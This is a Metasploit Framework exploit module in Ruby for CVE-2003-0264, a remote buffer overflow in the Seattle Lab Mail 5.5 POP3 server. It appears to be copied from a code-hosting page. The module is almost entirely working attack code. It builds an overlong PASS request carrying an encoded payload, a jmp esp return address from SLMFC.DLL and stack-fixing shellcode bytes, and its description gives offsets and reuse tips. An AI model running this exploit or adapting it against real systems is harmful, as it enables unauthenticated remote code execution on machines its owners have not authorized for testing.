114 lines
3.4 KiB
Ruby
114 lines
3.4 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',
|
|
'Description' => %q{
|
|
There exists an unauthenticated buffer overflow vulnerability
|
|
in the POP3 server of Seattle Lab Mail 5.5 when sending a password
|
|
with excessive length.
|
|
|
|
Successful exploitation should not crash either the
|
|
service or the server; however, after initial use the
|
|
port cannot be reused for successive exploitation until
|
|
the service has been restarted. Consider using a command
|
|
execution payload following the bind shell to restart
|
|
the service if you need to reuse the same port.
|
|
|
|
The overflow appears to occur in the debugging/error reporting
|
|
section of the slmail.exe executable, and there are multiple
|
|
offsets that will lead to successful exploitation. This exploit
|
|
uses 2606, the offset that creates the smallest overall payload.
|
|
The other offset is 4654.
|
|
|
|
The return address is overwritten with a "jmp esp" call from the
|
|
application library SLMFC.DLL found in %SYSTEM%\\system32\\. This
|
|
return address works against all version of Windows and service packs.
|
|
|
|
The last modification date on the library is dated 06/02/99. Assuming
|
|
that the code where the overflow occurs has not changed in some time,
|
|
prior version of SLMail may also be vulnerable with this exploit. The
|
|
author has not been able to acquire older versions of SLMail for
|
|
testing purposes. Please let us know if you were able to get this
|
|
exploit working against other SLMail versions.
|
|
},
|
|
'Author' => 'stinko',
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2003-0264'],
|
|
['OSVDB', '11975'],
|
|
['BID', '7519'],
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 600,
|
|
'BadChars' => "\x00\x0a\x0d\x20",
|
|
'MinNops' => 100,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
['Windows NT/2000/XP/2003 (SLMail 5.5)', { 'Ret' => 0x5f4a358f, 'Offset' => 2606 } ]
|
|
],
|
|
'DisclosureDate' => 'May 07 2003',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(110)
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")
|
|
|
|
banner = sock.get_once || ''
|
|
if banner !~ /^\+OK POP3 server (.*) ready/
|
|
print_error("POP3 server does not appear to be running")
|
|
return
|
|
end
|
|
|
|
sock.put("USER #{rand_text_alphanumeric(10)}\r\n")
|
|
banner = sock.get_once
|
|
if banner !~ /^\+OK (.*) welcome here/
|
|
print_error("POP3 server rejected username")
|
|
return
|
|
end
|
|
|
|
request = "PASS " + rand_text_alphanumeric(target['Offset'] - payload.encoded.length)
|
|
request << payload.encoded
|
|
request << [target.ret].pack('V')
|
|
request << "\x81\xc4\xff\xef\xff\xff\x44" # fix the stack
|
|
request << "\xe9\xcb\xfd\xff\xff" # go back 560 bytes
|
|
request << rand_text_alphanumeric(512) # cruft
|
|
request << "\r\n"
|
|
|
|
sock.put(request)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|